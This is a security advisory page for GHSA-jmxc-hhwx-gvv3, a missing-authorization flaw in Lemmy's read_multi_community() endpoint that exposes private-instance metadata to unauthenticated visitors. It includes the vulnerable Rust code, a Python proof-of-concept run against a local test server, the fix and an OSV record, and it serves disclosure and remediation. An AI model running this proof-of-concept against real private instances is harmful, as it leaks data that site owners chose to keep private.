GHSA-jmxc-hhwx-gvv3: Lemmy api Private Lemmy Instances Expose Multi-community Vulnerability

MODERATE
CVSS 5.3
CWE-862
Published
Advisory Summary

GHSA-jmxc-hhwx-gvv3 is a MODERATE (CVSS 5.3) private lemmy instances expose multi-community vulnerability (CWE-862: Missing Authorization) affecting Lemmy api libraries in the crates.io ecosystem. The issue involves private lemmy instances expose multi-community metadata without authentication. Remediation is available in the latest vendor maintenance releases.

GHSA-jmxc-hhwx-gvv3 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-jmxc-hhwx-gvv3
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-862: Missing Authorization
Affected Product Lemmy api
Package Ecosystem crates.io
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability None (A:N)

How to Fix GHSA-jmxc-hhwx-gvv3

To remediate this vulnerability, upgrade all affected Lemmy api dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

lemmy_api fixed: Latest secure release
Upgrade lemmy_api to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for lemmy_api

How to Check if You Are Affected

To determine whether your application is affected by GHSA-jmxc-hhwx-gvv3, inspect your project dependencies for Lemmy api:

inspect dependencies for lemmy_api

Analyze the terminal output to locate any version of Lemmy api in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In Lemmy api, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

**NOTE**: Only affects development version. ## Summary `read_multi_community()` does not enforce the private-instance setting. On a private instance, an unauthenticated visitor can read multi-community names, titles, summaries, sidebars, owner identities, and member community lists. ## Details Other read handlers load `local_site` and call `check_private_instance()` before returning data to unauthenticated callers. `read_multi_community()` does not call that helper: ```rust pub async fn read_multi_community( Query(data): Query<GetMultiCommunity>, context: Data<LemmyContext>, local_user_view: Option<LocalUserView>, ) -> LemmyResult<Json<GetMultiCommunityResponse>> { let my_person_id = local_user_view.as_ref().map(|l| l.person.id); let id = resolve_multi_community_identifier(&data.name, data.id, &context, &local_user_view) .await? .ok_or(LemmyErrorType::NoIdGiven)?; let multi_community_view = MultiCommunityView::read(&mut context.pool(), id, my_person_id).await?; ``` `get_community()`, `list_posts()`, `list_comments()`, `read_person()`, `search()`, and `resolve_object()` all enforce the private-instance guard. ## Proof of Concept The script creates a multi-community whose metadata contains a marker, turns on `private_instance`, confirms a guarded control endpoint blocks unauthenticated callers, then reads the same multi-community over `GET /multi_community` without authentication. ```python #!/usr/bin/env python3 import json, random, string import requests BASE = "http://127.0.0.1:8536/api/v4" ADMIN_USER = "lemmy" ADMIN_PASS = "lemmylemmy" def api(method, path, token=None, **kw): h = kw.pop("headers", {}) if token: h["Authorization"] = "Bearer " + token return requests.request(method, BASE + path, headers=h, **kw) suffix = "multi" + "".join(random.choice(string.ascii_lowercase) for _ in range(6)) secret = "SECRET_MULTI_" + suffix admin = api("POST", "/account/auth/login", json={"username_or_email": ADMIN_USER, "password": ADMIN_PASS}).json()["jwt"] # Create a multi-community whose title/summary/sidebar embed the marker. mid = api("POST", "/multi_community", admin, json={ "name": "m" + suffix, "title": secret, "summary": secret + " summary", "sidebar": secret + " sidebar", }).json()["multi_community_view"]["multi"]["id"] # Enable private_instance. api("PUT", "/site", admin, json={"private_instance": True}) print("private_instance:", api("GET", "/site").json()["site_view"]["local_site"]["private_instance"]) # Control: a comparable read endpoint correctly rejects unauthenticated callers. control = api("GET", "/community/list") print("unauth /community/list (control):", control.status_code, control.text[:120]) # Leak: read_multi_community returns the private metadata to an unauthenticated caller. leak = api("GET", "/multi_community", params={"id": mid}) print("unauth /multi_community:", leak.status_code, leak.text[:300]) print("contains secret:", secret in leak.text) ``` Output: ```text private_instance: True unauth /community/list (control): 400 {"error":"instance_is_private","cause":"InstanceIsPrivate"} unauth /multi_community: 200 {"multi_community_view":{"multi":{"title":"SECRET_MULTI_multijwxokm","summary":"SECRET_MULTI_multijwxokm summary","sidebar":"SECRET_MULTI_multijwxokm sidebar"}}} contains secret: True ``` The control request shows the privacy setting is active. The multi-community endpoint still returns the private metadata. ## Impact An unauthenticated visitor can read multi-community metadata from an instance whose admin configured the site as private. The exposed fields include names, titles, summaries, sidebars, owner identities, and member community lists. ## Recommended Fix Load `local_site` at the start of `read_multi_community()` and call `check_private_instance(&local_user_view, &local_site)?` before resolving or reading the multi-community. --- *Found by [aisafe.io](https://aisafe.io)*

GHSA-jmxc-hhwx-gvv3 Affected Lemmy api Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
lemmy_api
crates.io
≤ 0.19.1-rc.1

References

Frequently Asked Questions

What is GHSA-jmxc-hhwx-gvv3?
GHSA-jmxc-hhwx-gvv3 is a security vulnerability in Lemmy api involving Private Lemmy instances expose multi-community metadata without authentication under CWE-862: Missing Authorization.
Which Lemmy api versions are affected?
Affected versions include releases prior to current release patches across affected packages: lemmy_api.
What version fixes GHSA-jmxc-hhwx-gvv3?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is lemmy_api affected?
Yes, lemmy_api is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of GHSA-jmxc-hhwx-gvv3?
GHSA-jmxc-hhwx-gvv3 has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N.
What CWE is associated with GHSA-jmxc-hhwx-gvv3?
GHSA-jmxc-hhwx-gvv3 is classified under CWE-862: Missing Authorization (The product does not perform an authorization check when an actor attempts to access a resource or perform an action.).
How can I check crates.io dependencies for GHSA-jmxc-hhwx-gvv3?
Run the dependency tree command: 'inspect dependencies for lemmy_api'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jmxc-hhwx-gvv3",
  "modified" : "2026-06-08T23:39:13Z",
  "published" : "2026-05-06T22:12:34Z",
  "aliases" : [ ],
  "summary" : "Private Lemmy instances expose multi-community metadata without authentication",
  "details" : "**NOTE**: Only affects development version.\n\n## Summary\n\n`read_multi_community()` does not enforce the private-instance setting. On a private instance, an unauthenticated visitor can read multi-community names, titles, summaries, sidebars, owner identities, and member community lists.\n\n## Details\n\nOther read handlers load `local_site` and call `check_private_instance()` before returning data to unauthenticated callers. `read_multi_community()` does not call that helper:\n\n```rust\npub async fn read_multi_community(\n  Query(data): Query<GetMultiCommunity>,\n  context: Data<LemmyContext>,\n  local_user_view: Option<LocalUserView>,\n) -> LemmyResult<Json<GetMultiCommunityResponse>> {\n  let my_person_id = local_user_view.as_ref().map(|l| l.person.id);\n  let id = resolve_multi_community_identifier(&data.name, data.id, &context, &local_user_view)\n    .await?\n    .ok_or(LemmyErrorType::NoIdGiven)?;\n  let multi_community_view =\n    MultiCommunityView::read(&mut context.pool(), id, my_person_id).await?;\n```\n\n`get_community()`, `list_posts()`, `list_comments()`, `read_person()`, `search()`, and `resolve_object()` all enforce the private-instance guard.\n\n## Proof of Concept\n\nThe script creates a multi-community whose metadata contains a marker, turns on `private_instance`, confirms a guarded control endpoint blocks unauthenticated callers, then reads the same multi-community over `GET /multi_community` without authentication.\n\n```python\n#!/usr/bin/env python3\nimport json, random, string\nimport requests\n\nBASE       = \"http://127.0.0.1:8536/api/v4\"\nADMIN_USER = \"lemmy\"\nADMIN_PASS = \"lemmylemmy\"\n\ndef api(method, path, token=None, **kw):\n    h = kw.pop(\"headers\", {})\n    if token: h[\"Authorization\"] = \"Bearer \" + token\n    return requests.request(method, BASE + path, headers=h, **kw)\n\nsuffix = \"multi\" + \"\".join(random.choice(string.ascii_lowercase) for _ in range(6))\nsecret = \"SECRET_MULTI_\" + suffix\n\nadmin = api(\"POST\", \"/account/auth/login\", json={\"username_or_email\": ADMIN_USER, \"password\": ADMIN_PASS}).json()[\"jwt\"]\n\n# Create a multi-community whose title/summary/sidebar embed the marker.\nmid = api(\"POST\", \"/multi_community\", admin, json={\n    \"name\": \"m\" + suffix, \"title\": secret,\n    \"summary\": secret + \" summary\", \"sidebar\": secret + \" sidebar\",\n}).json()[\"multi_community_view\"][\"multi\"][\"id\"]\n\n# Enable private_instance.\napi(\"PUT\", \"/site\", admin, json={\"private_instance\": True})\n\nprint(\"private_instance:\", api(\"GET\", \"/site\").json()[\"site_view\"][\"local_site\"][\"private_instance\"])\n\n# Control: a comparable read endpoint correctly rejects unauthenticated callers.\ncontrol = api(\"GET\", \"/community/list\")\nprint(\"unauth /community/list (control):\", control.status_code, control.text[:120])\n\n# Leak: read_multi_community returns the private metadata to an unauthenticated caller.\nleak = api(\"GET\", \"/multi_community\", params={\"id\": mid})\nprint(\"unauth /multi_community:\", leak.status_code, leak.text[:300])\nprint(\"contains secret:\", secret in leak.text)\n```\n\nOutput:\n\n```text\nprivate_instance: True\nunauth /community/list (control): 400 {\"error\":\"instance_is_private\",\"cause\":\"InstanceIsPrivate\"}\nunauth /multi_community: 200 {\"multi_community_view\":{\"multi\":{\"title\":\"SECRET_MULTI_multijwxokm\",\"summary\":\"SECRET_MULTI_multijwxokm summary\",\"sidebar\":\"SECRET_MULTI_multijwxokm sidebar\"}}}\ncontains secret: True\n```\n\nThe control request shows the privacy setting is active. The multi-community endpoint still returns the private metadata.\n\n## Impact\n\nAn unauthenticated visitor can read multi-community metadata from an instance whose admin configured the site as private. The exposed fields include names, titles, summaries, sidebars, owner identities, and member community lists.\n\n## Recommended Fix\n\nLoad `local_site` at the start of `read_multi_community()` and call `check_private_instance(&local_user_view, &local_site)?` before resolving or reading the multi-community.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "lemmy_api"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.19.1-rc.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/LemmyNet/lemmy/security/advisories/GHSA-jmxc-hhwx-gvv3"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/LemmyNet/lemmy/commit/637151121a8e27b2b8c95e98d6f86966b31b4a6d"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/LemmyNet/lemmy"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-06T22:12:34Z",
    "nvd_published_at" : null
  }
}